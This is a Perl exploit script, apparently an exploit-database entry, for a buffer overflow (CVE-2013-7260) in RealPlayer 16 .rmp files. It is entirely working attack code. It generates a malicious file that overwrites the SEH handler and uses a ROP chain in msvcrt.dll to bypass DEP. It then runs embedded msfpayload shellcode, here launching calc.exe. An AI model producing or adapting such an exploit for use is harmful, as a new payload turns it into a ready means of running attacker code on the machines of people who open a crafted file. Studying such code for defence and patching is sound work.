RealNetworks RealPlayer 16.0.3.51/16.0.2.32 - (.rmp) Version Attribute Buffer Overflow

                                                #!/usr/bin/perl

#-----------------------------------------------------------------------------#
# Exploit Title: RealNetworks RealPlayer Version Attribute Buffer Overflow    #
# Date: Dec 20 2013                                                           #
# Exploit Author: Gabor Seljan                                                #
# Vendor Homepage: http://www.real.com                                        #
# Software Link: http://www.oldapps.com/real.php?old_real_player=12814        #
# Version: 16.0.3.51, 16.0.2.32                                               #
# Tested on: Windows XP SP2/SP3 (DEP Bypass)                                  #
# CVE: CVE-2013-7260                                                          #
#-----------------------------------------------------------------------------#

use strict;
use warnings;

my $filename = "sploit.rmp";

my $junk1 = "\x41" x 44;          # Offset to ROP + Shellcode
my $junk2 = "\x43" x 1858;        # Offset to SEH when opening via click (2540)
my $junk3 = "\x44" x 11052;       # Offset to SEH when opening via menu (13600)
my $nSEH  = "\xeb\x06\x90\x90";   # Overwrite next SEH with JMP (6 bytes)
my $SEH   = pack('V',0x5acceecd); # ADD ESP,428 # RETN 10 [mswmdm.dll]
my $junk4 = "\x45" x 17000;       # Generate exception

my $rop_gadgets  = "";
   $rop_gadgets .= pack('V',0x77c1c552);  # RETN (ROP NOP) [msvcrt.dll]
   $rop_gadgets .= "\x42" x 16;  		      # JUNK
   $rop_gadgets .= pack('V',0x77c21d16);  # POP EAX # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c11120);  # &VirtualProtect() [IAT msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c1bb36);  # POP EBP # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c20497);  # skip 4 bytes [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c2362c);  # POP EBX # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x0000095c);  # 0x0000095C-> EBX
   $rop_gadgets .= pack('V',0x77c4cb29);  # POP EDX # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x00000040);  # 0x00000040-> EDX
   $rop_gadgets .= pack('V',0x77c1f519);  # POP ECX # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77C5D305);  # &Writable location [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c23b47);  # POP EDI # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c47a42);  # RETN (ROP NOP) [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c2ed13);  # POP ESI # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c2aacc);  # JMP [EAX] [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c12df9);  # PUSHAD # RETN [msvcrt.dll]
   $rop_gadgets .= pack('V',0x77c35459);  # PUSH ESP # RETN [msvcrt.dll]

my $nops = "\x90" x 16;

# msfpayload windows/exec CMD=calc.exe
my $shellcode = "\xb8\x2f\x9e\xa9\x6f\xdb\xdc\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1".
"\x33\x83\xea\xfc\x31\x42\x0e\x03\x6d\x90\x4b\x9a\x8d\x44\x02\x65\x6d\x95\x75".
"\xef\x88\xa4\xa7\x8b\xd9\x95\x77\xdf\x8f\x15\xf3\x8d\x3b\xad\x71\x1a\x4c\x06".
"\x3f\x7c\x63\x97\xf1\x40\x2f\x5b\x93\x3c\x2d\x88\x73\x7c\xfe\xdd\x72\xb9\xe2".
"\x2e\x26\x12\x69\x9c\xd7\x17\x2f\x1d\xd9\xf7\x24\x1d\xa1\x72\xfa\xea\x1b\x7c".
"\x2a\x42\x17\x36\xd2\xe8\x7f\xe7\xe3\x3d\x9c\xdb\xaa\x4a\x57\xaf\x2d\x9b\xa9".
"\x50\x1c\xe3\x66\x6f\x91\xee\x77\xb7\x15\x11\x02\xc3\x66\xac\x15\x10\x15\x6a".
"\x93\x85\xbd\xf9\x03\x6e\x3c\x2d\xd5\xe5\x32\x9a\x91\xa2\x56\x1d\x75\xd9\x62".
"\x96\x78\x0e\xe3\xec\x5e\x8a\xa8\xb7\xff\x8b\x14\x19\xff\xcc\xf0\xc6\xa5\x87".
"\x12\x12\xdf\xc5\x78\xe5\x6d\x70\xc5\xe5\x6d\x7b\x65\x8e\x5c\xf0\xea\xc9\x60".
"\xd3\x4f\x25\x2b\x7e\xf9\xae\xf2\xea\xb8\xb2\x04\xc1\xfe\xca\x86\xe0\x7e\x29".
"\x96\x80\x7b\x75\x10\x78\xf1\xe6\xf5\x7e\xa6\x07\xdc\x1c\x29\x94\xbc\xcc\xcc".
"\x1c\x26\x11\x7f\x72\x75\x0a\xf5\x98\x79\x2f\xb1\x76\x30\xe0\x3f\x49\x74\x0d".
"\x93\x42\x0c\xbf\x92\xb8\x4e\xba\x4a\xbe\x99\x71\x09\xf8\x14\xa9\x96\x91\x7e".
"\x7c\x77\x27\x25\x7b\x38\xd6\x9b\x33\xd5\xb5\x31\xe1\x66\xb7\xb4\x80\xd2\xfd".
"\x2d\xb6\x24\x43\x67\x90\xb2\xbb\x47\x40\x73\x3c\x3d\x97\x1c\x29\xd0\xf9\x70".
"\x4b\x78\x35\x9f\x4f\x2c\xb3\x7a\x05\x87\xf6\xd3\xeb\x48\xb0\x89\xf7\xe2\x41".
"\x1d\x8d\xb9\x15\x04\x2b\xfc\xa8\x3a\xd4\x37\x7d\x19\xf8\x7e\x08\xeb\x21\xe1".
"\x7b\x71\x75\x05\x3f\xbb\x66\x0c\x93\x3c\x8d\x98\x69\xf9\x7c\x27\x70\x48\x23".
"\xd4\x84\xf5\xbe\x72\x4e\xa8\x9b\x73\x25\x41\x81\xe0\x04\x40\x78\x79\x43\x37".
"\x7f\x2c\x96\xb9\xbf\x74\x77\x1d\x0d\x20\xfc\xb4\x91\xa9\xb8\x97\x4b\x18\xe3".
"\x49\x7d\x76\x3d\x47\xba\xb5\x14\x99\xb1\x24\x83\xe2\x10\xfd\x67\x7a\x4f\x35".
"\x9f\xb6\xb3\x7d\x75\x32\xe2\x4a\x86\xd5\xb2\xb7\xb0\x77\x11\xe0\x12\xd1\xeb".
"\x1c\x90\x7f\x42\x7c\x2d\x92\x72\x2f\x7a\x13\xc0\xd6\x76\x15\x99\x70\x14\x8d".
"\x4e\xbe\x96\xb7\x85\xff\xc1\xe1\x2d\xb0\x71\x1b\xd5\x1d\x02\xe3\x04\x7b\x05".
"\xb2\x73\x03\xf8\xb4\x7e\x1a\xfd\xb9\x37\x42\x4b\xb3\x39\xf9\x25\xb5\xa8\x3d".
"\xba\x92\x40\x4a\xb6\x24\x79\x27\x0c\xbb\x88\xfc\x3c\x35\x97\x4f\x9b\x47\x78".
"\x15\x41\x91\x66\xb1\x74\x0d\xbf\xb8\x90\x28\xd4\x2a\xf5\x3f\x43\x93\x98\x2c".
"\x1c\xa9\x2f\x48\x9f\x67\x49\x3b\xd6"; 

my $evil = $rop_gadgets.$nops.$shellcode;

my $sploit = $junk1.$evil.$junk2.$nSEH.$SEH.$junk3.$nSEH.$SEH.$junk4;

open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE "<?xml version=\"$sploit\"?>";
close(FILE);

print "Exploit file created successfully [$filename]!\n";